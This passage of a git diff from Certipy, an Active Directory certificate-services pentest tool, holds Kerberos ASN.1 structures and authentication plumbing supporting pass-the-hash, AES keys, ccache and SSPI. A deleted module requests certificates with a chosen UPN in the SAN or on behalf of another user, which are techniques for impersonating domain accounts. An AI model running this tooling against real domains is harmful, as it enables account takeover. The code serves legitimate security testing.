PA_FX_FAST_REPLY(core.Choice): + _alternatives = [ + ("armored-data", KrbFastArmoredRep, {"explicit": (CONTEXT, 0)}), + ] + + +class PA_PAC_OPTIONS(core.Sequence): + _fields = [ + ("value", PA_PAC_OPTIONSTypes, {"tag_type": TAG, "tag": 0}), + ] + + +class PA_ENC_TS_ENC(core.Sequence): + _fields = [ + ("patimestamp", KerberosTime, {"tag_type": TAG, "tag": 0}), # -- client's time + ("pausec", krb5int32, {"tag_type": TAG, "tag": 1, "optional": True}), + ] + + +# -- draft-brezak-win2k-krb-authz-01 +class PA_PAC_REQUEST(core.Sequence): + _fields = [ + ( + "include-pac", + core.Boolean, + {"tag_type": TAG, "tag": 0}, + ), # -- Indicates whether a PAC should be included or not + ] + + +# -- PacketCable provisioning server location, PKT-SP-SEC-I09-030728.pdf +class PROV_SRV_LOCATION(core.GeneralString): + pass + + +class KDC_REP(core.Sequence): + _fields = [ + ("pvno", core.Integer, {"tag_type": TAG, "tag": 0}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 1}), # MESSAGE_TYPE + ("padata", METHOD_DATA, {"tag_type": TAG, "tag": 2, "optional": True}), + ("crealm", Realm, {"tag_type": TAG, "tag": 3}), + ("cname", PrincipalName, {"tag_type": TAG, "tag": 4}), + ("ticket", Ticket, {"tag_type": TAG, "tag": 5}), + ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 6}), # EncKDCRepPart + ] + + +class AS_REP(KDC_REP): + #::= [APPLICATION 11] KDC-REP + explicit = (APPLICATION, 11) + + +class TGS_REP(KDC_REP): # ::= [APPLICATION 13] KDC-REP + explicit = (APPLICATION, 13) + + +class EncKDCRepPart(core.Sequence): + _fields = [ + ("key", EncryptionKey, {"tag_type": TAG, "tag": 0}), + ("last-req", LastReq, {"tag_type": TAG, "tag": 1}), + ("nonce", krb5int32, {"tag_type": TAG, "tag": 2}), + ("key-expiration", KerberosTime, {"tag_type": TAG, "tag": 3, "optional": True}), + ("flags", TicketFlags, {"tag_type": TAG, "tag": 4}), + ("authtime", KerberosTime, {"tag_type": TAG, "tag": 5}), + ("starttime", KerberosTime, {"tag_type": TAG, "tag": 6, "optional": True}), + ("endtime", KerberosTime, {"tag_type": TAG, "tag": 7}), + ("renew-till", KerberosTime, {"tag_type": TAG, "tag": 8, "optional": True}), + ("srealm", Realm, {"tag_type": TAG, "tag": 9}), + ("sname", PrincipalName, {"tag_type": TAG, "tag": 10}), + ("caddr", HostAddresses, {"tag_type": TAG, "tag": 11, "optional": True}), + ( + "encrypted-pa-data", + METHOD_DATA, + {"tag_type": TAG, "tag": 12, "optional": True}, + ), + ] + + +class EncASRepPart(EncKDCRepPart): + explicit = (APPLICATION, 25) + + +class EncTGSRepPart(EncKDCRepPart): + explicit = (APPLICATION, 26) + + +class AP_REQ(core.Sequence): + explicit = (APPLICATION, 14) + _fields = [ + ("pvno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 1}), # MESSAGE_TYPE + ("ap-options", APOptions, {"tag_type": TAG, "tag": 2}), + ("ticket", Ticket, {"tag_type": TAG, "tag": 3}), + ("authenticator", EncryptedData, {"tag_type": TAG, "tag": 4}), + ] + + +class AP_REP(core.Sequence): + explicit = (APPLICATION, 15) + _fields = [ + ("pvno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 1}), # MESSAGE_TYPE + ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 2}), + ] + + +class EncAPRepPart(core.Sequence): + explicit = (APPLICATION, 27) + _fields = [ + ("ctime", KerberosTime, {"tag_type": TAG, "tag": 0}), + ("cusec", krb5int32, {"tag_type": TAG, "tag": 1}), + ("subkey", EncryptionKey, {"tag_type": TAG, "tag": 2, "optional": True}), + ("seq-number", krb5uint32, {"tag_type": TAG, "tag": 3, "optional": True}), + ] + + +class KRB_SAFE_BODY(core.Sequence): + _fields = [ + ("user-data", core.OctetString, {"tag_type": TAG, "tag": 0}), + ("timestamp", KerberosTime, {"tag_type": TAG, "tag": 1, "optional": True}), + ("usec", krb5int32, {"tag_type": TAG, "tag": 2, "optional": True}), + ("seq-number", krb5uint32, {"tag_type": TAG, "tag": 3, "optional": True}), + ("s-address", HostAddress, {"tag_type": TAG, "tag": 4, "optional": True}), + ("r-address", HostAddress, {"tag_type": TAG, "tag": 5, "optional": True}), + ] + + +class KRB_SAFE(core.Sequence): + explicit = (APPLICATION, 20) + _fields = [ + ("pvno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 1}), # MESSAGE_TYPE + ("safe-body", KRB_SAFE_BODY, {"tag_type": TAG, "tag": 2}), + ("cksum", Checksum, {"tag_type": TAG, "tag": 3}), + ] + + +class KRB_PRIV(core.Sequence): + explicit = (APPLICATION, 21) + _fields = [ + ("pvno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 1}), # MESSAGE_TYPE + ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 2}), + ] + + +class EncKrbPrivPart(core.Sequence): + explicit = (APPLICATION, 28) + _fields = [ + ("user-data", core.OctetString, {"tag_type": TAG, "tag": 0}), + ("timestamp", KerberosTime, {"tag_type": TAG, "tag": 1, "optional": True}), + ("usec", krb5int32, {"tag_type": TAG, "tag": 2, "optional": True}), + ("seq-number", krb5uint32, {"tag_type": TAG, "tag": 3, "optional": True}), + ("s-address", HostAddress, {"tag_type": TAG, "tag": 4, "optional": True}), + ("r-address", HostAddress, {"tag_type": TAG, "tag": 5, "optional": True}), + ] + + +class KRB_CRED(core.Sequence): + explicit = (APPLICATION, 22) + _fields = [ + ("pvno", core.Integer, {"tag_type": TAG, "tag": 0}), + ("msg-type", core.Integer, {"tag_type": TAG, "tag": 1}), + ("tickets", SequenceOfTicket, {"tag_type": TAG, "tag": 2}), + ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 3}), + ] + + +# http://web.mit.edu/freebsd/head/crypto/heimdal/lib/asn1/krb5.asn1 +class KrbCredInfo(core.Sequence): + _fields = [ + ("key", EncryptionKey, {"tag_type": TAG, "tag": 0}), + ("prealm", Realm, {"tag_type": TAG, "tag": 1, "optional": True}), + ("pname", PrincipalName, {"tag_type": TAG, "tag": 2, "optional": True}), + ("flags", TicketFlags, {"tag_type": TAG, "tag": 3, "optional": True}), + ("authtime", KerberosTime, {"tag_type": TAG, "tag": 4, "optional": True}), + ("starttime", KerberosTime, {"tag_type": TAG, "tag": 5, "optional": True}), + ("endtime", KerberosTime, {"tag_type": TAG, "tag": 6, "optional": True}), + ("renew-till", KerberosTime, {"tag_type": TAG, "tag": 7, "optional": True}), + ("srealm", Realm, {"tag_type": TAG, "tag": 8, "optional": True}), + ("sname", PrincipalName, {"tag_type": TAG, "tag": 9, "optional": True}), + ("caddr", HostAddresses, {"tag_type": TAG, "tag": 10, "optional": True}), + ] + + +class SequenceOfKrbCredInfo(core.SequenceOf): + _child_spec = KrbCredInfo + + +class EncKrbCredPart(core.Sequence): + explicit = (APPLICATION, 29) + _fields = [ + ("ticket-info", SequenceOfKrbCredInfo, {"tag_type": TAG, "tag": 0}), + ("nonce", krb5int32, {"tag_type": TAG, "tag": 1, "optional": True}), + ("timestamp", KerberosTime, {"tag_type": TAG, "tag": 2, "optional": True}), + ("usec", krb5int32, {"tag_type": TAG, "tag": 3, "optional": True}), + ("s-address", HostAddress, {"tag_type": TAG, "tag": 4, "optional": True}), + ("r-address", HostAddress, {"tag_type": TAG, "tag": 5, "optional": True}), + ] + + +class KRB_ERROR(core.Sequence): + explicit = (APPLICATION, 30) + _fields = [ + ("pvno", krb5int32, {"tag_type": TAG, "tag": 0}), + ("msg-type", krb5int32, {"tag_type": TAG, "tag": 1}), # MESSAGE_TYPE + ("ctime", KerberosTime, {"tag_type": TAG, "tag": 2, "optional": True}), + ("cusec", krb5int32, {"tag_type": TAG, "tag": 3, "optional": True}), + ("stime", KerberosTime, {"tag_type": TAG, "tag": 4}), + ("susec", krb5int32, {"tag_type": TAG, "tag": 5}), + ("error-code", krb5int32, {"tag_type": TAG, "tag": 6}), + ("crealm", Realm, {"tag_type": TAG, "tag": 7, "optional": True}), + ("cname", PrincipalName, {"tag_type": TAG, "tag": 8, "optional": True}), + ("realm", Realm, {"tag_type": TAG, "tag": 9}), + ("sname", PrincipalName, {"tag_type": TAG, "tag": 10}), + ("e-text", core.GeneralString, {"tag_type": TAG, "tag": 11, "optional": True}), + ("e-data", core.OctetString, {"tag_type": TAG, "tag": 12, "optional": True}), + ] + + +class ChangePasswdDataMS(core.Sequence): + _fields = [ + ("newpasswd", core.OctetString, {"tag_type": TAG, "tag": 0}), + ("targname", PrincipalName, {"tag_type": TAG, "tag": 1, "optional": True}), + ("targrealm", Realm, {"tag_type": TAG, "tag": 2, "optional": True}), + ] + + +class EtypeList(core.SequenceOf): + # -- the client's proposed enctype list in + # -- decreasing preference order, favorite choice first + _child_spec = ENCTYPE + + +class KerberosResponse(core.Choice): + _alternatives = [ + ("AS_REP", AS_REP, {"implicit": (APPLICATION, 11)}), + ("TGS_REP", TGS_REP, {"implicit": (APPLICATION, 13)}), + ("KRB_ERROR", KRB_ERROR, {"implicit": (APPLICATION, 30)}), + ] + + +class KRBCRED(core.Sequence): + explicit = (APPLICATION, 22) + + _fields = [ + ("pvno", core.Integer, {"tag_type": TAG, "tag": 0}), + ("msg-type", core.Integer, {"tag_type": TAG, "tag": 1}), + ("tickets", SequenceOfTicket, {"tag_type": TAG, "tag": 2}), + ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 3}), + ] + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a +# other name: PA-S4U2Self +class PA_FOR_USER_ENC(core.Sequence): + _fields = [ + ("userName", PrincipalName, {"tag_type": TAG, "tag": 0}), + ("userRealm", Realm, {"tag_type": TAG, "tag": 1}), + ("cksum", Checksum, {"tag_type": TAG, "tag": 2}), + ("auth-package", KerberosString, {"tag_type": TAG, "tag": 3}), + ] + + +class S4UUserIDOptions(core.BitString): + _map = { + 0x40000000: "check-logon-hour", # This option causes the KDC to check logon hour restrictions for the user. + 0x20000000: "signed-with-kun-27", # In a request, asks the KDC to sign the reply with key usage number 27. In a reply, indicates that it was signed with key usage number 27. + } + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6 +class S4UUserID(core.Sequence): + _fields = [ + ( + "nonce", + core.Integer, + {"tag_type": TAG, "tag": 0}, + ), # -- the nonce in KDC-REQ-BODY + ("cname", PrincipalName, {"tag_type": TAG, "tag": 1, "optional": True}), + # -- Certificate mapping hints + ("crealm", Realm, {"tag_type": TAG, "tag": 2}), + ( + "subject-certificate", + core.OctetString, + {"tag_type": TAG, "tag": 3, "optional": True}, + ), + ("options", S4UUserIDOptions, {"tag_type": TAG, "tag": 4, "optional": True}), + ] + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6 +class PA_S4U_X509_USER(core.Sequence): + _fields = [ + ("user-id", S4UUserID, {"tag_type": TAG, "tag": 0}), + ("checksum", Checksum, {"tag_type": TAG, "tag": 1}), + ] + + +class AD_IF_RELEVANT(AuthorizationData): + pass + + +class GSSAPIOID(core.ObjectIdentifier): + _map = { + "1.2.840.113554.1.2.2": "krb5", + } + + _reverse_map = { + "krb5": "1.2.840.113554.1.2.2", + } + + +class GSSAPIToken(core.Asn1Value): + class_ = 1 + tag = 0 + method = 1 + + +class MechType(core.ObjectIdentifier): + _map = { + #'': 'SNMPv2-SMI::enterprises.311.2.2.30', + "1.3.6.1.4.1.311.2.2.10": "NTLMSSP - Microsoft NTLM Security Support Provider", + "1.2.840.48018.1.2.2": "MS KRB5 - Microsoft Kerberos 5", + "1.2.840.113554.1.2.2": "KRB5 - Kerberos 5", + "1.2.840.113554.1.2.2.3": "KRB5 - Kerberos 5 - User to User", + "1.3.6.1.4.1.311.2.2.30": "NEGOEX - SPNEGO Extended Negotiation Security Mechanism", + } + + +class InitialContextToken(core.Sequence): + class_ = 1 + tag = 0 + _fields = [ + ("thisMech", MechType, {"optional": False}), + ("unk_bool", core.Boolean, {"optional": False}), + ("innerContextToken", core.Any, {"optional": False}), + ] + + _oid_pair = ("thisMech", "innerContextToken") + _oid_specs = { + "KRB5 - Kerberos 5": AP_REQ, + } + + +# https://tools.ietf.org/html/rfc4121#section-4.1.1.1 +class ChecksumFlags(enum.IntFlag): + GSS_C_DELEG_FLAG = 1 + GSS_C_MUTUAL_FLAG = 2 + GSS_C_REPLAY_FLAG = 4 + GSS_C_SEQUENCE_FLAG = 8 + GSS_C_CONF_FLAG = 16 + GSS_C_INTEG_FLAG = 32 + GSS_C_DCE_STYLE = 0x1000 + + +# https://tools.ietf.org/html/rfc4121#section-4.1.1 +class AuthenticatorChecksum: + def __init__(self): + self.length_of_binding = None + self.channel_binding = None # MD5 hash of gss_channel_bindings_struct + self.flags = None # ChecksumFlags + self.delegation = None + self.delegation_length = None + self.delegation_data = None + self.extensions = None + + @staticmethod + def from_bytes(data): + return AuthenticatorChecksum.from_buffer(io.BytesIO(data)) + + @staticmethod + def from_buffer(buffer): + ac = AuthenticatorChecksum() + ac.length_of_binding = int.from_bytes( + buffer.read(4), byteorder="little", signed=False + ) + ac.channel_binding = buffer.read( + ac.length_of_binding + ) # according to the latest RFC this is 16 bytes long always + ac.flags = ChecksumFlags( + int.from_bytes(buffer.read(4), byteorder="little", signed=False) + ) + if ac.flags & ChecksumFlags.GSS_C_DELEG_FLAG: + ac.delegation = bool( + int.from_bytes(buffer.read(2), byteorder="little", signed=False) + ) + ac.delegation_length = int.from_bytes( + buffer.read(2), byteorder="little", signed=False + ) + ac.delegation_data = buffer.read(ac.delegation_length) + ac.extensions = buffer.read() + return ac + + def to_bytes(self): + t = len(self.channel_binding).to_bytes(4, byteorder="little", signed=False) + t += self.channel_binding + t += self.flags.to_bytes(4, byteorder="little", signed=False) + if self.flags & ChecksumFlags.GSS_C_DELEG_FLAG: + t += int(self.delegation).to_bytes(2, byteorder="little", signed=False) + t += len(self.delegation_data.to_bytes()).to_bytes( + 2, byteorder="little", signed=False + ) + t += self.delegation_data.to_bytes() + if self.extensions: + t += self.extensions.to_bytes() + return t diff --git a/certipy/structs.py b/certipy/lib/structs.py old mode 100644 new mode 100755 similarity index 96% rename from certipy/structs.py rename to certipy/lib/structs.py index a6dac2b..f8f32ab --- a/certipy/structs.py +++ b/certipy/lib/structs.py @@ -1,6 +1,6 @@ import enum -from certipy.formatting import to_pascal_case +from certipy.lib.formatting import to_pascal_case class IntFlag(enum.IntFlag): diff --git a/certipy/target.py b/certipy/lib/target.py old mode 100644 new mode 100755 similarity index 57% rename from certipy/target.py rename to certipy/lib/target.py index d3f66bc..ee6ea3a --- a/certipy/target.py +++ b/certipy/lib/target.py @@ -1,10 +1,10 @@ -import argparse -import logging +import os +import platform import socket -from typing import Any +from certipy.lib.logger import logging from dns.resolver import Resolver -from impacket.examples.utils import parse_target +from impacket.krb5.ccache import CCache def is_ip(hostname: str) -> bool: @@ -20,6 +20,7 @@ def is_ip(hostname: str) -> bool: class DnsResolver: def __init__(self): self.resolver = Resolver() + self.use_tcp = False self.mappings = {} @@ -71,7 +72,7 @@ def resolve(self, hostname: str) -> str: return hostname ip_addr = None - if self.resolver.nameservers[0] is None: + if len(self.resolver.nameservers) == 0 or self.resolver.nameservers[0] is None: logging.debug("Trying to resolve %s locally" % repr(hostname)) else: logging.debug( @@ -101,6 +102,46 @@ def resolve(self, hostname: str) -> str: return ip_addr +def get_logon_session(): + if platform.system().lower() != "windows": + raise Exception("Cannot use SSPI on non-Windows platform") + + from certipy.lib.sspi import get_tgt + from winacl.functions.highlevel import get_logon_info + + info = get_logon_info() + + logonserver = info["logonserver"] + username = info["username"] + domain = info["domain"] + dnsdomainname = info["dnsdomainname"] + + dns_resolver = DnsResolver() + dc_ip = dns_resolver.resolve(logonserver) + dc_host = "%s.%s" % (logonserver, dnsdomainname) + + return username, domain, dc_ip, dc_host + + +def get_kerberos_principal(): + try: + ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) + except: + return None + + if ccache is None: + return None + # retrieve domain information from CCache file if needed + domain = ccache.principal.realm["data"].decode("utf-8") + logging.debug("Domain retrieved from CCache: %s" % domain) + + username = "/".join(map(lambda x: x["data"].decode(), ccache.principal.components)) + + logging.debug("Username retrieved from CCache: %s" % username) + + return username, domain + + class Target: def __init__(self): self.domain: str = None @@ -111,29 +152,69 @@ def __init__(self): self.lmhash: str = None self.nthash: str = None self.do_kerberos: bool = False + self.use_sspi: bool = False + self.aes: str = None self.dc_ip: str = None self.target_ip: str = None self.timeout: int = 5 self.resolver: Resolver = None @staticmethod - def from_options(options, dc_as_target: bool = False) -> "Target": + def from_options( + options, dc_as_target: bool = False, ptt: bool = False + ) -> "Target": self = Target() - domain, username, password, remote_name = parse_target(options.target) + principal = options.username + domain = "" + if principal is not None: + principal = principal.split("@") + if len(principal) == 1: + (username,) = principal + else: + username = "@".join(principal[:-1]) + domain = principal[-1] + # username, domain = principal + else: + username = "" + + dc_ip = options.dc_ip + dc_host = None + + if options.do_kerberos: + principal = get_kerberos_principal() + if principal: + username, domain = principal + + if options.use_sspi: + options.do_kerberos = True + username, domain, dc_ip, dc_host = get_logon_session() + + logging.debug( + "SSPI Context: %s@%s on %s (%s)" % (username, domain, dc_host, dc_ip) + ) if domain is None: domain = "" + domain = domain.upper() + username = username.upper() + + if len(username) == 0: + logging.error("Username is not specified") + password = options.password if ( - password == "" + not password and username != "" and options.hashes is None + and options.aes is None and options.no_pass is not True + and options.do_kerberos is not True ): from getpass import getpass password = getpass("Password:") + hashes = options.hashes if hashes is not None: hashes = hashes.split(":") @@ -147,15 +228,44 @@ def from_options(options, dc_as_target: bool = False) -> "Target": else: lmhash = nthash = "" + if options.aes is not None: + options.do_kerberos = True + + remote_name = options.target + if ( + (options.do_kerberos or options.use_sspi) + and not remote_name + and not ptt + and not dc_as_target + ): + logging.warning( + "Target name (-target) not specified and Kerberos or SSPI authentication is used. This might fail" + ) + + if remote_name is None: + if options.target_ip: + remote_name = options.target_ip + elif dc_host: + remote_name = dc_host + elif dc_ip: + remote_name = dc_ip + elif domain: + remote_name = domain + else: + raise Exception("Could not find a target in the specified options") + self.domain = domain self.username = username self.password = password self.remote_name = remote_name - self.hashes = options.hashes + self.hashes = hashes self.lmhash = lmhash self.nthash = nthash - self.do_kerberos = options.k - self.dc_ip = options.dc_ip + self.aes = options.aes + self.do_kerberos = options.do_kerberos + self.use_sspi = options.use_sspi + self.dc_ip = dc_ip + self.dc_host = dc_host self.timeout = options.timeout if dc_as_target and options.dc_ip is None and is_ip(remote_name): @@ -173,6 +283,9 @@ def from_options(options, dc_as_target: bool = False) -> "Target": if self.target_ip is None and remote_name is not None: self.target_ip = self.resolver.resolve(remote_name) + if self.dc_ip is None: + self.dc_ip = self.resolver.resolve(domain) + return self @staticmethod @@ -185,21 +298,43 @@ def create( remote_name: str = None, no_pass: bool = False, do_kerberos: bool = False, + use_sspi: bool = False, + aes: str = None, dc_ip: str = None, ns: str = None, dns_tcp: bool = False, timeout: int = 5, ) -> "Target": + self = Target() + if use_sspi: + do_kerberos = True + username, domain, dc_ip, dc_host = get_logon_session() + + logging.debug( + "SSPI Context: %s@%s on %s (%s)" % (username, domain, dc_host, dc_ip) + ) + if domain is None: domain = "" + if username is None: + username = "" + + domain = domain.upper() + username = username.upper() - if password == "" and username != "" and hashes is None and no_pass is not True: + if ( + not password + and username != "" + and hashes is None + and aes is None + and no_pass is not True + ): from getpass import getpass password = getpass("Password:") - hashes = hashes + if hashes is not None: hashes = hashes.split(":") if len(hashes) == 1: @@ -207,9 +342,14 @@ def create( lmhash = nthash = nthash else: lmhash, nthash = hashes + if len(lmhash) == 0: + lmhash = nthash else: lmhash = nthash = "" + if aes is not None: + do_kerberos = True + self.domain = domain self.username = username self.password = password @@ -217,7 +357,9 @@ def create( self.hashes = hashes self.lmhash = lmhash self.nthash = nthash + self.aes = aes self.do_kerberos = do_kerberos + self.use_sspi = use_sspi self.dc_ip = dc_ip self.timeout = timeout @@ -237,69 +379,3 @@ def create( def __repr__(self) -> str: return "" % repr(self.__dict__) - - -def add_argument_group( - parser: argparse.ArgumentParser, - connection_options: Any = None, -) -> None: - parser.add_argument( - "target", - action="store", - help="[[domain/]username[:password]@]", - ) - - if connection_options is not None: - group = connection_options - else: - group = parser.add_argument_group("connection options") - - group.add_argument( - "-dc-ip", - action="store", - metavar="ip address", - help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in " - "the target parameter", - ) - group.add_argument( - "-target-ip", - action="store", - metavar="ip address", - help="IP Address of the target machine. If omitted it will use whatever was specified as target. " - "This is useful when target is the NetBIOS name and you cannot resolve it", - ) - group.add_argument( - "-ns", - action="store", - metavar="nameserver", - help="Nameserver for DNS resolution", - ) - group.add_argument( - "-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" - ) - group.add_argument( - "-timeout", - action="store", - metavar="seconds", - help="Timeout for connections", - default=5, - type=int, - ) - - group = parser.add_argument_group("authentication options") - group.add_argument( - "-hashes", - action="store", - metavar="LMHASH:NTHASH", - help="NTLM hashes, format is LMHASH:NTHASH", - ) - group.add_argument( - "-no-pass", action="store_true", help="Don't ask for password (useful for -k)" - ) - group.add_argument( - "-k", - action="store_true", - help="Use Kerberos authentication. Grabs credentials from ccache file " - "(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the " - "ones specified in the command line", - ) diff --git a/certipy/request.py b/certipy/request.py deleted file mode 100644 index b298b6a..0000000 --- a/certipy/request.py +++ /dev/null @@ -1,398 +0,0 @@ -import argparse -import logging -from typing import Callable, Tuple - -from impacket.dcerpc.v5 import rpcrt -from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, ULONG -from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT -from impacket.dcerpc.v5.nrpc import checkNullString -from impacket.uuid import uuidtup_to_bin - -from certipy import target -from certipy.auth import cert_id_to_parts -from certipy.certificate import ( - cert_to_pem, - create_cms, - create_csr, - create_pfx, - csr_to_der, - der_to_cert, - get_id_from_certificate, - get_object_sid_from_certificate, - key_to_pem, - load_pfx, - pem_to_key, - rsa, -) -from certipy.errors import translate_error_code -from certipy.rpc import get_dce_rpc -from certipy.target import Target - -NAME = "req" -MSRPC_UUID_ICPR = uuidtup_to_bin(("91ae6020-9e3c-11cf-8d7c-00aa00c091be", "0.0")) - - -class DCERPCSessionError(rpcrt.DCERPCException): - def __init__(self, error_string=None, error_code=None, packet=None): - rpcrt.DCERPCException.__init__(self, error_string, error_code, packet) - - def __str__(self) -> str: - self.error_code &= 0xFFFFFFFF - error_msg = translate_error_code(self.error_code) - return "RequestSessionError: %s" % error_msg - - -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/d6bee093-d862-4122-8f2b-7b49102097dc -class CERTTRANSBLOB(NDRSTRUCT): - structure = ( - ("cb", ULONG), - ("pb", PBYTE), - ) - - -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7 -class CertServerRequest(NDRCALL): - opnum = 0 - structure = ( - ("dwFlags", DWORD), - ("pwszAuthority", LPWSTR), - ("pdwRequestId", DWORD), - ("pctbAttribs", CERTTRANSBLOB), - ("pctbRequest", CERTTRANSBLOB), - ) - - -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7 -class CertServerRequestResponse(NDRCALL): - structure = ( - ("pdwRequestId", DWORD), - ("pdwDisposition", ULONG), - ("pctbCert", CERTTRANSBLOB), - ("pctbEncodedCert", CERTTRANSBLOB), - ("pctbDispositionMessage", CERTTRANSBLOB), - ) - - -class Request: - def __init__( - self, - target: Target = None, - ca: str = None, - template: str = None, - alt: str = None, - retrieve: int = 0, - on_behalf_of: str = None, - pfx: str = None, - out: str = None, - key: rsa.RSAPrivateKey = None, - dynamic_endpoint: bool = False, - debug=False, - **kwargs - ): - self.target = target - self.ca = ca - self.template = template - self.alt_name = alt - self.request_id = int(retrieve) - self.on_behalf_of = on_behalf_of - self.pfx = pfx - self.out = out - self.key = key - self.dynamic = dynamic_endpoint - self.verbose = debug - self.kwargs = kwargs - - self._dce = None - - @property - def dce(self) -> rpcrt.DCERPC_v5: - if self._dce is not None: - return self._dce - - self._dce = get_dce_rpc( - MSRPC_UUID_ICPR, - r"\pipe\cert", - self.target, - timeout=self.target.timeout, - dynamic=self.dynamic, - verbose=self.verbose, - ) - - return self._dce - - def retrieve(self) -> bool: - request_id = int(self.request_id) - - empty = CERTTRANSBLOB() - empty["cb"] = 0 - empty["pb"] = NULL - - request = CertServerRequest() - request["dwFlags"] = 0 - request["pwszAuthority"] = checkNullString(self.ca) - request["pdwRequestId"] = request_id - request["pctbAttribs"] = empty - request["pctbRequest"] = empty - - logging.info("Rerieving certificate with ID %d" % request_id) - - response = self.dce.request(request, checkError=False) - - error_code = response["pdwDisposition"] - - if error_code == 3: - logging.info("Successfully retrieved certificate") - else: - if error_code == 5: - logging.warning("Certificate request is still pending approval") - else: - error_msg = translate_error_code(error_code) - if "unknown error code" in error_msg: - logging.error( - "Got unknown error while trying to retrieve certificate: (%s): %s" - % ( - error_msg, - b"".join(response["pctbDispositionMessage"]["pb"]).decode( - "utf-16le" - ), - ) - ) - else: - logging.error( - "Got error while trying to retrieve certificate: %s" % error_msg - ) - - return False - - cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"])) - - id_type, identification = get_id_from_certificate(cert) - if id_type is not None: - logging.info("Got certificate with %s %s" % (id_type, repr(identification))) - else: - logging.info("Got certificate without identification") - - object_sid = get_object_sid_from_certificate(cert) - if id_type is not None: - logging.info("Certificate object SID is %s" % repr(object_sid)) - else: - logging.info("Certificate has not object SID") - - out = self.out - if out is None: - out, _ = cert_id_to_parts(id_type, identification) - if out is None: - out = self.target.username - - out = out.rstrip("$").lower() - - try: - with open("%d.key" % request_id, "rb") as f: - key = pem_to_key(f.read()) - except Exception as e: - logging.warning( - "Could not find matching private key. Saving certificate as PEM" - ) - with open("%s.crt" % out, "wb") as f: - f.write(cert_to_pem(cert)) - - logging.info("Saved certificate to %s" % repr("%s.crt" % out)) - else: - logging.info("Loaded private key from %s" % repr("%d.key" % request_id)) - pfx = create_pfx(key, cert) - with open("%s.pfx" % out, "wb") as f: - f.write(pfx) - logging.info( - "Saved certificate and private key to %s" % repr("%s.pfx" % out) - ) - - return True - - def request(self) -> bool: - username = self.target.username - - if self.on_behalf_of: - username = self.on_behalf_of - if self.on_behalf_of.count("\\") == 0: - logging.warning( - "Target does not look like a qualified principal: %s" - % self.on_behalf_of - ) - else: - username = "\\".join(username.split("\\")[1:]) - - csr, key = create_csr(username, alt_name=self.alt_name, key=self.key) - self.key = key - - if self.on_behalf_of: - if self.pfx is None: - logging.error( - "A certificate and private key (-pfx) is required in order to request on behalf of another user" - ) - return False - - with open(self.pfx, "rb") as f: - agent_key, agent_cert = load_pfx(f.read()) - - csr = create_cms(csr_to_der(csr), self.on_behalf_of, agent_cert, agent_key) - else: - csr = csr_to_der(csr) - - attributes = ["CertificateTemplate:%s" % self.template] - - if self.alt_name is not None: - attributes.append("SAN:upn=%s" % self.alt_name) - - attributes = checkNullString("\n".join(attributes)).encode("utf-16le") - pctb_attribs = CERTTRANSBLOB() - pctb_attribs["cb"] = len(attributes) - pctb_attribs["pb"] = attributes - - pctb_request = CERTTRANSBLOB() - pctb_request["cb"] = len(csr) - pctb_request["pb"] = csr - - request = CertServerRequest() - request["dwFlags"] = 0 - request["pwszAuthority"] = checkNullString(self.ca) - request["pdwRequestId"] = self.request_id - request["pctbAttribs"] = pctb_attribs - request["pctbRequest"] = pctb_request - - logging.info("Requesting certificate") - - response = self.dce.request(request) - - error_code = response["pdwDisposition"] - request_id = response["pdwRequestId"] - - if error_code == 3: - logging.info("Successfully requested certificate") - else: - if error_code == 5: - logging.warning("Certificate request is pending approval") - else: - error_msg = translate_error_code(error_code) - if "unknown error code" in error_msg: - logging.error( - "Got unknown error while trying to request certificate: (%s): %s" - % ( - error_msg, - b"".join(response["pctbDispositionMessage"]["pb"]).decode( - "utf-16le" - ), - ) - ) - else: - logging.error( - "Got error while trying to request certificate: %s" % error_msg - ) - - logging.info("Request ID is %d" % request_id) - - if error_code != 3: - should_save = input( - "Would you like to save the private key? (y/N) " - ).rstrip("\n") - - if should_save.lower() == "y": - with open("%d.key" % request_id, "wb") as f: - f.write(key_to_pem(key)) - - logging.info("Saved private key to %d.key" % request_id) - - return False - - cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"])) - - id_type, identification = get_id_from_certificate(cert) - if id_type is not None: - logging.info("Got certificate with %s %s" % (id_type, repr(identification))) - else: - logging.info("Got certificate without identification") - - object_sid = get_object_sid_from_certificate(cert) - if id_type is not None: - logging.info("Certificate object SID is %s" % repr(object_sid)) - else: - logging.info("Certificate has not object SID") - - out = self.out - if out is None: - out, _ = cert_id_to_parts(id_type, identification) - if out is None: - out = self.target.username - - out = out.rstrip("$").lower() - - pfx = create_pfx(key, cert) - - outfile = "%s.pfx" % out - - with open(outfile, "wb") as f: - f.write(pfx) - - logging.info("Saved certificate and private key to %s" % repr(outfile)) - - return pfx, outfile - - -def entry(options: argparse.Namespace) -> None: - target = Target.from_options(options) - del options.target - - request = Request(target=target, 